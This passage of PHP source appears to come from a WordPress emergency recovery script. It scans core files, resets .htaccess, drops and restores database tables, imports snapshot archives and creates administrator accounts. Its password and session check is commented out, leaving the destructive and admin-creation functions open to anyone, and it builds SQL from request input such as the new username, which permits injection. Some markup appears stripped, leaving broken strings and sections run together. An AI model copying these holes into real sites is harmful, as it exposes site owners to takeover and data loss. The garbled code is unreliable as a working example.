Core files can be compromised in many ways, by accidental delete or edit, or by malicious software. If WordPress is reporting that some files are missing, this is the tool to use.
The tool scans all your core files and compares them to the master version found on wp.org. If any file is modified, you\'ll be able to recover it to its original state.
You will also be alerted if any unknown files are present in your core WP folders.
';
if(!isset($_POST['options_search'])){
$scan_result = $this->scan_files();
} else {
$scan_result = [];
$scan_result['missing_bad'] = [];
$scan_result['changed_bad'] = [];
$scan_result['unknown_bad'] = [];
}
$html .= 'Core Files status for WP v' . $this->wp_version . ': ';
if (count($scan_result['missing_bad'])) {
$html .= 'The following core files are missing:';
$html .= '
';
foreach ($scan_result['missing_bad'] as $result) {
$html .= '
' . $result . '
';
}
$html .= '
';
}
if (count($scan_result['changed_bad'])) {
$html .= 'The following WordPress core files have been modified:';
$html .= '
';
foreach ($scan_result['changed_bad'] as $result) {
$html .= '
' . $result . '
';
}
$html .= '
';
}
if (count($scan_result['unknown_bad'])) {
$html .= 'The following files are unknown and should not be in your core folders:';
$html .= '
';
foreach ($scan_result['unknown_bad'] as $result) {
if (defined('WPR_FREE') && WPR_FREE) {
$html .= '
';
}
if(isset($_POST['options_search'])){
$html .= 'Click Rescan Core Files to see results ';
} else if (count($scan_result['missing_bad']) == 0 && count($scan_result['changed_bad']) == 0 && count($scan_result['unknown_bad']) == 0) {
$html .= 'All core files are in order! ';
}
if (is_writable(ABSPATH . 'wp-includes')) {
if (defined('WPR_FREE') && WPR_FREE) {
$html .= ' Reinstall All Core Files';
} else {
$html .= ' Reinstall All Core Files';
}
} else {
$html .= ' It looks like your WordPress core files are not writable, so we can\'t reinstall them.';
}
$html .= 'Rescan Core Files';
$this->print_section('core-files', 'Core Files', $html);
}
function print_section_themes()
{
$html = '';
$html .= '
If you are unable to switch themes or you experience any problems after activating a theme, deactivate it. It\'s the least aggressive way to detect and fix all problems caused by problematic themes. ';
$html .= 'In case you\'re getting the white screen of death, deactivating a theme is the best way to rule it out as the cause of the problem.
If you are unable to deactivate a plugin or you experience any problems after activating a plugin, deactivate it. It\'s the least aggressive way to detect and fix all problems caused by problematic plugins. ';
$html .= 'In case you\'re getting the white screen of death, deactivating all plugins is the best way to rule out plugins as the cause of the problem.
';
if (defined('WPR_FREE') && WPR_FREE) {
$html .= ' Deactivate all plugins';
} else {
$html .= ' Deactivate all plugins';
}
$this->print_section('plugins', 'Plugins', $html);
}
function print_section_user_privileges()
{
$html = '';
$html .= '
If you changed the WordPress database tables prefix and can\'t login, run this tool to fix the problem. It edits entries in options and user meta tables to match the new tables prefix.
If you can\'t login (for whatever reason) with your administrator account, create a new one. Make sure you pick a fresh username that doesn\'t exist on your site.
Most issues related to infinite redirection loops, and problems caused by forcing HTTPS on non-SSL enabled hosts stem from the WP home and site URLs. If you changed the URLs from "http" to "https" simply change back the URLs. ';
$html .= 'For most sites both URLs should be the same. For those who have WP files in a different folder "WP address" is the address of the WP core files folder (the one where "wp-settings.php" is located), and "Site Address" is the URL where the site should be (the URL you\'d share around).
This will completely reset the WordPress database. Plugins and themes, and files will remain untouched. All the users will be removed as well and you will need to create a new administrator account.
';
echo '';
}
echo '';
}
/**
Variable Setup
*/
function setup_variables()
{
if (file_exists('wpr_config.php')) {
include 'wpr_config.php';
} else if (file_exists('wpr-config.php')) {
include 'wpr-config.php';
}
if (version_compare(phpversion(), '5.6', '<')) {
$this->wpr_error('WP Reset Emergency Recovery script has only been tested with PHP 5.6+. Your PHP version ' . phpversion() . ' is untested and using the script could result in unexpected errors.');
}
#if (!defined('WPR_RECOVERY_PASS') || strlen(WPR_RECOVERY_PASS) < 6) {
# $this->wpr_error('In order to prevent unauthorized access, please make sure the password is at least 6 characters long.');
# return false;
# }
if (isset($_REQUEST['password'])) {
if ($_REQUEST['password'] == WPR_RECOVERY_PASS) {
$_SESSION['loggedin'] = true;
} else {
$this->wpr_error('Incorrect password.');
}
}
#if (!(isset($_SESSION['loggedin']) && $_SESSION['loggedin'] == true)) {
//wpr_error('By interacting with this page without permission you explicitly agree to renounce any rights to privacy and allow the owner of the website and any affiliated individuals to do all they can think of to track you down and take appropriate action against you!');
# echo '
Enter your password to continue
';
# echo '';
# return false;
# }
$relative_path = '';
if (defined('WPCONFIGPATH')) {
if (file_exists(rtrim(WPCONFIGPATH, '/') . '/wp-config.php')) {
$this->wp_config_path = rtrim(WPCONFIGPATH, '/') . '/wp-config.php';
$this->wp_config = file_get_contents(rtrim(WPCONFIGPATH, '/') . '/wp-config.php');
//Is wp-load.php in the same folder?
if (file_exists(rtrim(WPCONFIGPATH, '/') . '/wp-load.php')) {
define('ABSPATH', rtrim(WPCONFIGPATH, '/') . '/');
} else {
//Are core files in a subfolder?
if (file_exists('index.php')) {
// Check if it's actually WordPress main index.php file
$index_contents = file_get_contents(rtrim(WPCONFIGPATH, '/') . 'index.php');
if (strpos($index_contents, 'wp-blog-header.php') != false) {
preg_match_all('/require[[:print:]]*\'\/(.*)wp-blog-header\.php\'/i', $index_contents, $matches);
if (count($matches[1]) > 0) {
$wp_dir = trim(trim($matches[1][0], '\''), '"');
define('ABSPATH', realpath($relative_path) . '/' . $wp_dir);
} else {
$this->wpr_error('found wp-config.php but could not determine core files path!');
}
}
}
}
} else {
$this->wpr_error('wp-config.php not found in ' . rtrim(WPCONFIGPATH, '/') . '/wp-config.php');
return false;
}
}
/**
* Search for wp-load.php to determine absolute path
*/
if (!defined('ABSPATH') && file_exists('wp-load.php')) {
// In the same folder as wp-load, so this is ABSPATH
define('ABSPATH', realpath($relative_path) . '/');
// wp-config is either here or one level up
if (file_exists(ABSPATH . 'wp-config.php')) {
$this->wp_config_path = ABSPATH . 'wp-config.php';
$this->wp_config = file_get_contents(ABSPATH . 'wp-config.php');
} else if (file_exists(dirname(ABSPATH) . '/wp-config.php')) {
$this->wp_config_path = dirname(ABSPATH) . '/wp-config.php';
$this->wp_config = file_get_contents(dirname(ABSPATH) . '/wp-config.php');
} else {
$this->wpr_error('found wp-load.php but wp-config.php not found!');
return false;
}
}
if (!defined('ABSPATH') && file_exists('wp-config.php')) {
// We're in the same folder as wp-config but not in same folder as wp-load, so it means we're one level up, but where are the core files?
$this->wp_config_path = realpath('wp-config.php');
$this->wp_config = file_get_contents('wp-config.php');
//Is wp-config in root with index.php?
if (file_exists('index.php')) {
// Check if it's actually WordPress main index.php file
$index_contents = file_get_contents('index.php');
if (strpos($index_contents, 'wp-blog-header.php') != false) {
preg_match_all('/require[[:print:]]*\'\/(.*)wp-blog-header\.php\'/i', $index_contents, $matches);
if (count($matches[1]) > 0) {
$wp_dir = trim(trim($matches[1][0], '\''), '"');
define('ABSPATH', realpath($relative_path) . '/' . $wp_dir);
} else {
$this->wpr_error('found wp-config.php but could not determine core files path!');
}
}
}
}
if (!defined('ABSPATH') && file_exists('index.php')) {
// Maybe We're in root but wp-config.php might be in WordPress subfolder
// Check if it's actually WordPress main index.php file
$index_contents = file_get_contents('index.php');
if (strpos($index_contents, 'wp-blog-header.php') != false) {
preg_match_all('/require[[:print:]]*\'\/(.*)wp-blog-header\.php\'/i', $index_contents, $matches);
if (count($matches[1]) > 0) {
$wp_dir = trim(trim($matches[1][0], '\''), '"');
define('ABSPATH', realpath($relative_path) . '/' . $wp_dir);
if (file_exists(ABSPATH . 'wp-config.php')) {
$this->wp_config_path = ABSPATH . 'wp-config.php';
$this->wp_config = file_get_contents(ABSPATH . 'wp-config.php');
} else {
$this->wpr_error('found WordPress main index.php but wp-config.php not found!');
return false;
}
}
}
}
if (!defined('ABSPATH')) {
// We might be in the plugin directory or other subfolder
for ($t = 0; $t < 10; $t++) {
if (file_exists($relative_path . 'wp-load.php')) {
define('ABSPATH', realpath($relative_path) . '/');
break;
}
$relative_path = '../' . $relative_path;
}
if (defined('ABSPATH')) {
// We found wp-load.php, we need wp-config.php now
if (file_exists(ABSPATH . 'wp-config.php')) {
$this->wp_config_path = ABSPATH . 'wp-config.php';
$this->wp_config = file_get_contents(ABSPATH . 'wp-config.php');
} else if (file_exists(dirname(ABSPATH) . '/wp-config.php')) {
$this->wp_config_path = dirname(ABSPATH) . '/wp-config.php';
$this->wp_config = file_get_contents(dirname(ABSPATH) . '/wp-config.php');
} else {
$this->wpr_error('found wp-load.php but wp-config.php not found!');
return false;
}
} else {
$this->wpr_error('wp-config.php not found!');
return false;
}
}
/**
* Connect to database
*/
$this->dbname = $DB_NAME = $this->get_define_value('DB_NAME', $this->wp_config);
$this->dbuser = $DB_USER = $this->get_define_value('DB_USER', $this->wp_config);
$this->dbpass = $DB_PASSWORD = $this->get_define_value('DB_PASSWORD', $this->wp_config);
$this->dbhost = $DB_HOST = $this->get_define_value('DB_HOST', $this->wp_config);
$this->table_prefix = $this->get_variable('table_prefix', $this->wp_config);
$db_info = $this->get_db_info($DB_HOST);
if ($DB_NAME === false || $DB_USER === false || $DB_PASSWORD === false || $DB_HOST === false || $this->table_prefix === false) {
$this->wpr_error('Failed to read db configuration!');
return false;
}
$this->wfdb = mysqli_connect($db_info['host'], $DB_USER, $DB_PASSWORD, $DB_NAME, $db_info['port']);
if (!$this->wfdb) {
$this->wpr_error('Error: Unable to connect to MySQL.');
echo 'Debugging errno: ' . mysqli_connect_errno() . ' ';
echo 'Debugging error: ' . mysqli_connect_error() . ' ';
echo ' ';
echo 'Tried to connect using the following mysql details: ';
echo '
';
echo '
Database name:
' . $DB_NAME . '
';
echo '
Database user:
' . $DB_USER . '
';
echo '
Database pass:
(click to show password)
';
echo '
Database host:
' . $db_info['host'] . '
';
echo '
Database port:
' . $db_info['port'] . '
';
echo '
';
echo '';
return false;
}
/**
* Set wp-content and plugins directory as their paths can be changed in wp-config
*/
if (file_exists(ABSPATH . 'wp-content')) {
define('WPR_WPCONTENT', ABSPATH . 'wp-content');
} else {
$this->wp_config_content_dir = $this->get_define_value('WP_CONTENT_DIR');
if (false !== $this->wp_config_content_dir && file_exists(ABSPATH . $this->wp_config_content_dir)) {
define('WPR_WPCONTENT', ABSPATH . $this->wp_config_content_dir);
} else {
$this->wpr_error('wp-content directory not found!');
return false;
}
}
$wp_plugin_dir = $this->get_define_value('WP_PLUGIN_DIR');
if (!empty($wp_plugin_dir)) {
define('WPR_PLUGINDIR', $wp_plugin_dir);
} else {
define('WPR_PLUGINDIR', WPR_WPCONTENT . '/plugins');
}
/**
* Retrieve other variables we need
*/
include(ABSPATH . 'wp-includes/version.php');
$this->wp_version = $wp_version;
$locale = $this->get_define_value('WPLANG', $this->wp_config);
if (empty($locale)) {
$locale = '';
} else {
$locale = $locale . '/';
}
$this->active_plugins = unserialize($this->get_option('active_plugins'));
$this->active_theme = $this->get_option('stylesheet');
return true;
}
/**
Tools/Actions Functions
*/
function reset_htaccess()
{
if (file_exists(ABSPATH . '.htaccess')) {
unlink(ABSPATH . '.htaccess');
}
$htaccess_content = '';
$permalink_structure = $this->get_option('permalink_structure');
if (!$permalink_structure) {
$htaccess_content = '';
} else {
$site_root = parse_url($this->get_option('siteurl'));
if (isset($site_root['path'])) {
$site_root = $this->trailingslashit($site_root['path']);
}
$home_root = parse_url($this->get_option('home'));
if (isset($home_root['path'])) {
$home_root = $this->trailingslashit($home_root['path']);
} else {
$home_root = '/';
}
$htaccess_content = "\n";
$htaccess_content .= "RewriteEngine On\n";
$htaccess_content .= "RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\n";
$htaccess_content .= "RewriteBase $home_root\n";
// Prevent -f checks on index.php.
$htaccess_content .= "RewriteRule ^index\.php$ - [L]\n";
$htaccess_content .= "RewriteCond %{REQUEST_FILENAME} !-f\n" .
"RewriteCond %{REQUEST_FILENAME} !-d\n" .
"RewriteRule . {$home_root}index.php [L]\n";
$htaccess_content .= "\n";
}
file_put_contents(ABSPATH . '.htaccess', $htaccess_content);
$this->reload('.htaccess has been reset');
}
function delete_htaccess()
{
if (file_exists(ABSPATH . '.htaccess')) {
unlink(ABSPATH . '.htaccess');
$this->reload('.htaccess has been deleted');
} else {
$this->wpr_error('.htaccess not found');
}
}
function disable_maintenance()
{
if (file_exists(ABSPATH . '.maintenance')) {
unlink(ABSPATH . '.maintenance');
$this->reload('WordPress maintenance mode disabled');
} else {
$this->wpr_error('WordPress maintenance mode was not enabled');
}
}
function do_wp_reset()
{
$install_url = $this->get_option('home') . '/wp-admin/install.php';
if (!isset($_POST['do_wp_reset_confirm']) || $_POST['do_wp_reset_confirm'] !== 'reset') {
$this->wpr_error('Please type "reset" in the field in order to perform the reset.');
return false;
}
$table_status = $this->wfdb_get_results('SHOW TABLE STATUS');
if (!is_array($table_status)) {
$this->wpr_error('Can\'t get table status data.');
return false;
}
foreach ($table_status as $index => $table) {
if (0 !== stripos($table['Name'], $this->table_prefix)) {
continue;
}
if (empty($table['Engine'])) {
continue;
}
$this->wfdb->query('DROP TABLE `' . $table['Name'] . '`');
} // foreach
header('Location: ' . $install_url);
die();
}
function restore_snapshot($uid)
{
$this->wpr_error('Restoring snapshot ' . $uid);
if (($res = $this->do_restore_snapshot($uid)) === true) {
$this->reload('Snapshot restored!');
} else {
$this->wpr_error($res);
}
}
function snapshot_upload()
{
$import_folder = $this->export_dir_path();
if (is_array($import_folder)) {
$this->wpr_error($import_folder['error']);
return false;
}
$import_file = $import_folder . '/' . $_FILES['snapshot_zip']['name'];
move_uploaded_file($_FILES['snapshot_zip']['tmp_name'], $import_file);
$import_res = $this->do_import_snapshot($import_file, true);
if ($import_res !== true) {
$this->wpr_error('Error: ' . $import_res);
} else {
$this->reload('Snapshot imported sucessfully!');
}
}
function do_import_snapshot($snapshot_zip)
{
$import_zip = new ZipArchive();
$import_zip->open($snapshot_zip);
$zip_files = array();
for ($i = 0; $i < $import_zip->numFiles; $i++) {
$file_path = $import_zip->statIndex($i);
$zip_files[] = $file_path['name'];
}
if (!in_array('wp-reset-export.json', $zip_files)) {
return 'Not a valid snapshot export file.';
}
$temp_import = $this->export_dir_path('temp_import');
if (is_array($temp_import)) {
$this->wpr_error($temp_import['error']);
return false;
}
$import_zip->extractTo($temp_import);
$import_zip->close();
$snapshot = json_decode(file_get_contents($temp_import . '/wp-reset-export.json'), true);
$snapshots = $this->get_snapshots();
if (empty($snapshots) || $snapshots != array()) {
$snapshots = array();
}
if (!(is_array($snapshot) && array_key_exists('uid', $snapshot))) {
$this->delete_folder($temp_import, basename($temp_import));
return 'Snapshot details are invalid or missing.';
}
if (array_key_exists($snapshot['uid'], $snapshots)) {
$this->delete_folder($temp_import, basename($temp_import));
return 'Uploaded snapshot already exists. Delete the existing one before importing it.';
}
if ($snapshot['table_prefix'] != $this->table_prefix) {
$this->delete_folder($temp_import, basename($temp_import));
return 'Table prefix in uploaded snapshot does not match your current table prefix.';
}
if ($snapshot['home_url'] != $this->get_option('home')) {
$this->delete_folder($temp_import, basename($temp_import));
return 'Site URL in uploaded snapshot does not match your current site URL.';
}
$table_status = $this->wfdb_get_results('SHOW TABLE STATUS');
if (is_array($table_status)) {
foreach ($table_status as $index => $table) {
if (stripos($table['Name'], $snapshot['uid']) === 0) {
$this->delete_folder($temp_import, basename($temp_import));
return 'Table ' . $table['Name'] . ' from uploaded snapshot already exist in the current database.';
}
}
}
if (!empty($snapshot['plugins']) || !empty($snapshot['themes'])) {
if (!file_exists($temp_import . '/wp-reset-snapshot-files-' . $snapshot['uid'] . '.zip')) {
$this->delete_folder($temp_import, basename($temp_import));
return 'Snapshot files are missing.';
}
$dest = $this->autosnapshots_dir_path();
copy($temp_import . '/wp-reset-snapshot-files-' . $snapshot['uid'] . '.zip', $dest . '/wp-reset-snapshot-files-' . $snapshot['uid'] . '.zip');
}
$db_dump_file_gz = gzopen($temp_import . '/wp-reset-snapshot-' . $snapshot['uid'] . '.sql.gz', 'rb');
$db_dump_file_sql = fopen($temp_import . '/wp-reset-snapshot-' . $snapshot['uid'] . '.sql', 'wb+');
while (!gzeof($db_dump_file_gz)) {
fwrite($db_dump_file_sql, gzread($db_dump_file_gz, 4096));
}
rewind($db_dump_file_sql);
gzclose($db_dump_file_gz);
$line_ending = PHP_EOL;
$parse_result = $this->parse_sql_dump($db_dump_file_sql, $line_ending);
if ($parse_result['lines'] == 0) {
$line_ending = "\n";
$parse_result = $this->parse_sql_dump($db_dump_file_sql, $line_ending);
}
if ($parse_result['lines'] == 0) {
$line_ending = "\r\n";
$parse_result = $this->parse_sql_dump($db_dump_file_sql, $line_ending);
}
$parse_result['line_ending'] = $line_ending;
$parse_result['uid'] = $snapshot['uid'];
fclose($db_dump_file_sql);
$temp_import = $this->export_dir_path('temp_import');
if (is_array($temp_import)) {
$this->wpr_error($temp_import['error']);
return false;
}
$tbl_core = $tbl_custom = 0;
$tables = $this->wfdb_get_col("SHOW TABLES LIKE '" . $snapshot['uid'] . "%'");
$imported_tables = array();
foreach ($tables as $table) {
$imported_tables[] = $table;
if (in_array(str_ireplace($snapshot['uid'] . '_' . $this->table_prefix, '', $table), $this->core_tables)) {
$tbl_core++;
} else {
$tbl_custom++;
}
}
if ($snapshot['tbl_core'] != $tbl_core || $snapshot['tbl_custom'] != $tbl_custom) {
$this->delete_folder($temp_import, basename($temp_import));
foreach ($imported_tables as $table) {
$this->wfdb->query('DROP TABLE IF EXISTS `' . $table . '`');
}
return 'Imported tables do not match expected table count (Core tables: ' . $tbl_core . ' restored / ' . $snapshot['tbl_core'] . ' in snapshot, Custom tables: ' . $tbl_custom . ' restored / ' . $snapshot['tbl_custom'] . ' in snapshot). Contact WP Reset support if data is critical, or restore it manualy via SQL.';
}
$this->delete_folder($temp_import, basename($temp_import));
$snapshot['imported'] = date('Y-m-d H:i:s');
$snapshot['partial'] = false;
$snapshots[$snapshot['uid']] = $snapshot;
$this->update_option('wp-reset-snapshots', $snapshots);
return true;
} // do_import_snapshot
function parse_sql_dump($db_dump_file_sql, $line_ending = PHP_EOL)
{
$options = unserialize($this->get_option('wp-reset'));
$tables = array();
$lines_read = 0;
rewind($db_dump_file_sql);
while (!feof($db_dump_file_sql)) {
$buffer = stream_get_line($db_dump_file_sql, 100000000, ";" . $line_ending);
if (substr($buffer, 0, 2) == '--' || trim($buffer) == '') {
continue;
}
$lines_read++;
if (!empty($buffer)) {
$buffer = preg_replace('/[\x09]/', '\t', trim($buffer));
if ($options['options']['fix_datetime'] == true) {
$buffer = str_replace("datetime NOT NULL DEFAULT '0000-00-00 00:00:00'", "datetime DEFAULT NULL", $buffer);
$buffer = str_replace("timestamp NOT NULL DEFAULT '0000-00-00 00:00:00'", "timestamp DEFAULT NULL", $buffer);
$buffer = str_replace("'0000-00-00 00:00:00'", "NULL", $buffer);
}
$this->wfdb->query($buffer);
}
}
return array('lines' => $lines_read, 'tables' => $tables);
}
function do_restore_snapshot($uid = '')
{
$new_tables = array();
$snapshots = $this->get_snapshots();
$wpr_options = $this->get_option('wp-reset');
$cloud_snapshots = $this->get_option('wp-reset-cloud-snapshots');
$wf_licensing_wpr = $this->get_option('wf_licensing_wpr');
if (($res = $this->verify_snapshot_integrity($uid)) !== true) {
return $res;
}
if (!empty($snapshots[$uid]['plugins']) || !empty($snapshots[$uid]['themes'])) {
if (($res = $this->restore_snapshot_files($snapshots[$uid])) !== true) {
return $res;
}
}
$table_status = $this->wfdb_get_results('SHOW TABLE STATUS');
if (is_array($table_status)) {
foreach ($table_status as $index => $table) {
if (0 !== stripos($table['Name'], $uid . '_')) {
continue;
}
if (empty($table['Engine'])) {
continue;
}
$new_tables[] = $table['Name'];
} // foreach
} else {
return 'Can\'t get table status data.';
}
foreach ($table_status as $index => $table) {
if (0 !== stripos($table['Name'], $this->table_prefix)) {
continue;
}
if (empty($table['Engine'])) {
continue;
}
$this->wfdb->query('DROP TABLE `' . $table['Name'] . '`');
} // foreach
// copy snapshot tables to original name
foreach ($new_tables as $table) {
$new_name = str_replace($uid . '_', '', $table);
$this->wfdb->query('CREATE TABLE `' . $new_name . '` LIKE `' . $table . '`');
$this->wfdb->query('INSERT `' . $new_name . '` SELECT * FROM `' . $table . '`');
}
$this->update_option('wp-reset', $wpr_options);
$this->update_option('wp-reset-snapshots', $snapshots);
$this->update_option('wp-reset-cloud-snapshots', $cloud_snapshots);
$this->update_option('wf_licensing_wpr', $wf_licensing_wpr);
return true;
} // restore_snapshot
function restore_snapshot_files($snapshot)
{
$temp_dir = $this->autosnapshots_dir_path('_tmp_wp-reset-snapshot-files-' . $snapshot['uid']);
$archive_files = new ZipArchive;
$archive_files->open($this->autosnapshots_dir_path('wp-reset-snapshot-files-' . $snapshot['uid'] . '.zip'));
$archive_files->extractTo($temp_dir);
if (!empty($snapshot['plugins'])) {
foreach ($snapshot['plugins'] as $plugin) {
$folder = basename($plugin);
$this->delete_folder(WP_PLUGIN_DIR . '/' . $folder, WP_PLUGIN_DIR . '/' . $folder);
$this->copy_folder($temp_dir . '/' . $folder, WP_PLUGIN_DIR . '/' . $folder);
}
}
if (!empty($snapshot['themes'])) {
foreach ($snapshot['themes'] as $theme) {
$folder = basename($theme);
$this->delete_folder(get_theme_root() . '/' . $folder, get_theme_root() . '/' . $folder);
$this->copy_folder($temp_dir . '/' . $folder, get_theme_root() . '/' . $folder);
}
}
$archive_files->close();
$this->delete_folder($temp_dir, $this->autosnapshots_dir_path());
return true;
} // restore_snapshot_files
public function delete_folder($folder, $base_folder)
{
if (!file_exists($folder)) {
return true;
}
$files = array_diff(scandir($folder), array('.', '..'));
foreach ($files as $file) {
if (is_dir($folder . DIRECTORY_SEPARATOR . $file)) {
$this->delete_folder($folder . DIRECTORY_SEPARATOR . $file, $base_folder);
} else {
$tmp = @unlink($folder . DIRECTORY_SEPARATOR . $file);
$this->delete_count += (int) $tmp;
}
} // foreach
if ($folder != $base_folder) {
$tmp = @rmdir($folder);
$this->delete_count += (int) $tmp;
return $tmp;
} else {
return true;
}
} // delete_folder
function copy_folder($source, $destination)
{
$dir = opendir($source);
@mkdir($destination);
while (false !== ($file = readdir($dir))) {
if (($file != '.') && ($file != '..')) {
if (is_dir($source . '/' . $file)) {
$this->copy_folder($source . '/' . $file, $destination . '/' . $file);
} else {
copy($source . '/' . $file, $destination . '/' . $file);
}
}
}
closedir($dir);
} // copy_folder
function get_snapshots()
{
$snapshots = $this->get_option('wp-reset-snapshots');
if (false === $snapshots) {
return false;
}
$snapshots = unserialize($snapshots);
if (empty($snapshots)) {
return false;
}
return $snapshots;
}
function verify_snapshot_integrity($uid)
{
$tbl_core = $tbl_custom = 0;
$snapshots = $this->get_snapshots();
if (strlen($uid) != 4 && strlen($uid) != 6) {
return 'Invalid snapshot ID format.';
}
if (!isset($snapshots[$uid])) {
return 'Unknown snapshot ID.';
}
$snapshot = $snapshots[$uid];
if (!empty($snapshot['plugins']) || !empty($snapshot['themes'])) {
$res = $this->verify_zip_integrity($snapshot);
if ($res !== true) {
return $res;
}
}
$table_status = $this->wfdb_get_results('SHOW TABLE STATUS');
if (is_array($table_status)) {
foreach ($table_status as $table) {
if (0 !== stripos($table['Name'], $uid . '_')) {
continue;
}
if (empty($table['Engine'])) {
continue;
}
if (in_array(str_replace($uid . '_' . $this->table_prefix, '', $table['Name']), $this->core_tables)) {
$tbl_core++;
} else {
$tbl_custom++;
}
} // foreach
if ($tbl_core != $snapshot['tbl_core'] || $tbl_custom != $snapshot['tbl_custom']) {
return 'Snapshot data has been compromised. Saved metadata does not match data in the DB (Core tables: ' . $tbl_core . ' restored / ' . $snapshot['tbl_core'] . ' in snapshot, Custom tables: ' . $tbl_custom . ' restored / ' . $snapshot['tbl_custom'] . ' in snapshot). Contact WP Reset support if data is critical, or restore it manualy via SQL.';
}
} else {
return 'Can\'t get table status data.';
}
return true;
} // verify_snapshot_integrity
function verify_zip_integrity($snapshot)
{
if (!array_key_exists('file_size', $snapshot) || $snapshot['file_size'] != filesize($this->autosnapshots_dir_path('wp-reset-snapshot-files-' . $snapshot['uid'] . '.zip'))) {
return 'ZIP file size is not correct!';
}
$folders = array();
if (!empty($snapshot['plugins'])) {
foreach ($snapshot['plugins'] as $plugin) {
$folders[] = basename($plugin);
}
}
if (!empty($snapshot['themes'])) {
foreach ($snapshot['themes'] as $theme) {
$folders[] = basename($theme);
}
}
sort($folders);
$zip_folders = array();
$za = new ZipArchive();
$za->open($this->autosnapshots_dir_path('wp-reset-snapshot-files-' . $snapshot['uid'] . '.zip'));
for ($i = 0; $i < $za->numFiles; $i++) {
$file_path = $za->statIndex($i);
$file_path_parts = explode('/', $file_path['name']);
if (!in_array($file_path_parts[0], $zip_folders)) {
$zip_folders[] = $file_path_parts[0];
}
}
sort($zip_folders);
if ($folders === $zip_folders) {
return true;
} else {
return 'Snapshot ZIP files have failed integrity validation!';
}
} // verify_zip_integrity
function autosnapshots_dir_path($file = false, $url = false)
{
if ($url) {
$path = WPR_WPCONTENT . '/' . $this->autosnapshots_folder;
} else {
$path = $this->trailingslashit(WPR_WPCONTENT) . $this->autosnapshots_folder;
}
if ($url === false && !file_exists($path)) {
$folder = $this->wp_mkdir_p($path);
if (!$folder) {
return array('error' => 'Unable to create ' . $path . ' folder.');
}
}
if (!empty($file)) {
$path = $path . '/' . $file;
}
return $path;
}
function wp_mkdir_p($target)
{
$wrapper = null;
// Strip the protocol.
if ($this->wp_is_stream($target)) {
list($wrapper, $target) = explode('://', $target, 2);
}
// From php.net/mkdir user contributed notes.
$target = str_replace('//', '/', $target);
// Put the wrapper back on the target.
if (null !== $wrapper) {
$target = $wrapper . '://' . $target;
}
/*
* Safe mode fails with a trailing slash under certain PHP versions.
* Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
*/
$target = rtrim($target, '/');
if (empty($target)) {
$target = '/';
}
if (file_exists($target)) {
return @is_dir($target);
}
// Do not allow path traversals.
if (false !== strpos($target, '../') || false !== strpos($target, '..' . DIRECTORY_SEPARATOR)) {
return false;
}
// We need to find the permissions of the parent folder that exists and inherit that.
$target_parent = dirname($target);
while ('.' !== $target_parent && !is_dir($target_parent) && dirname($target_parent) !== $target_parent) {
$target_parent = dirname($target_parent);
}
// Get the permission bits.
$stat = @stat($target_parent);
if ($stat) {
$dir_perms = $stat['mode'] & 0007777;
} else {
$dir_perms = 0777;
}
if (@mkdir($target, $dir_perms, true)) {
/*
* If a umask is set that modifies $dir_perms, we'll have to re-set
* the $dir_perms correctly with chmod()
*/
if (($dir_perms & ~umask()) != $dir_perms) {
$folder_parts = explode('/', substr($target, strlen($target_parent) + 1));
for ($i = 1, $c = count($folder_parts); $i <= $c; $i++) {
chmod($target_parent . '/' . implode('/', array_slice($folder_parts, 0, $i)), $dir_perms);
}
}
return true;
}
return false;
}
function export_dir_path($file = false, $url = false)
{
if ($url) {
$path = WPR_WPCONTENT . '/' . $this->snapshots_folder;
} else {
$path = $this->trailingslashit(WPR_WPCONTENT) . $this->snapshots_folder;
}
if ($url === false && !file_exists($path)) {
$folder = $this->wp_mkdir_p($path);
if (!$folder) {
return array('error' => 'Unable to create ' . $path . ' folder.');
}
}
if (!empty($file)) {
$path = $path . '/' . $file;
}
return $path;
} // export_dir_path
function reset_user_prefix()
{
$search_options = $this->wfdb_get_results('SELECT * FROM ' . $this->table_prefix . 'options WHERE option_name LIKE "%user_roles"');
if (!$search_options) {
$this->wpr_error('Could not fix! No user_roles option found in ' . $this->table_prefix . ' options');
} else if (count($search_options) > 1) {
$this->wpr_error('Could not fix! Multiple user_roles options found in ' . $this->table_prefix . ' options');
} else {
$this->wfdb->query('UPDATE ' . $this->table_prefix . 'options SET option_name = "' . $this->table_prefix . 'user_roles" WHERE option_id = ' . $search_options[0]['option_id']);
$user_meta_names = array('capabilities', 'user_level', 'dashboard_quick_press_last_post_id', 'user-settings', 'user-settings-time');
foreach ($user_meta_names as $user_meta_name) {
$search_usermeta = $this->wfdb_get_results('SELECT * FROM ' . $this->table_prefix . 'usermeta WHERE meta_key LIKE "%' . $user_meta_name . '"');
if ($search_usermeta) {
foreach ($search_usermeta as $existing_usermeta) {
$this->wfdb->query('UPDATE ' . $this->table_prefix . 'usermeta SET meta_key = "' . $this->table_prefix . $user_meta_name . '" WHERE umeta_id = ' . $existing_usermeta['umeta_id']);
}
}
}
$this->reload('Users\' database prefix and roles reset successfully!');
}
}
function create_admin_user($user, $pass)
{
if (strlen($user) < 4 || strlen($pass) < 4) {
$this->wpr_error('Invalid username or password!');
return false;
}
$search_users = $this->wfdb_get_row('SELECT * FROM ' . $this->table_prefix . 'users WHERE user_login = "' . $user . '"');
if ($search_users !== false) {
$this->wpr_error('User ' . $user . ' already exists!');
} else {
include ABSPATH . 'wp-includes/class-phpass.php';
$wp_hasher = new PasswordHash(8, true);
$hash_password = $wp_hasher->HashPassword(trim($pass));
$insert_user = $this->wfdb->prepare('INSERT INTO ' . $this->table_prefix . 'users(user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES(?,?,?,?,?,?,?)');
if (false === $insert_user) {
$this->wpr_error('prepare() failed: ' . htmlspecialchars($this->wfdb->error));
die();
}
$insert_user->bind_param('sssssss', $user_login, $user_pass, $user_nicename, $user_email, $user_registered, $user_status, $display_name);
$user_login = $user;
$user_pass = $hash_password;
$user_nicename = $user;
$user_email = $_REQUEST['admin_email'];
$user_registered = date('Y-m-d H:i:s');
$user_status = 0;
$display_name = $user;
// Execute prepared statement
if ($insert_user->execute()) {
if ($this->wfdb->insert_id > 0) {
$new_user_id = $this->wfdb->insert_id;
$insert_role = $this->wfdb->query('INSERT INTO ' . $this->table_prefix . 'usermeta(user_id,meta_key,meta_value) VALUES("' . $new_user_id . '","' . $this->table_prefix . 'capabilities","a:1:{s:13:\"administrator\";s:1:\"1\";}")');
$insert_user_level = $this->wfdb->query('INSERT INTO ' . $this->table_prefix . 'usermeta(user_id,meta_key,meta_value) VALUES("' . $new_user_id . '","' . $this->table_prefix . 'user_level","10")');
if ($insert_role && $insert_user_level) {
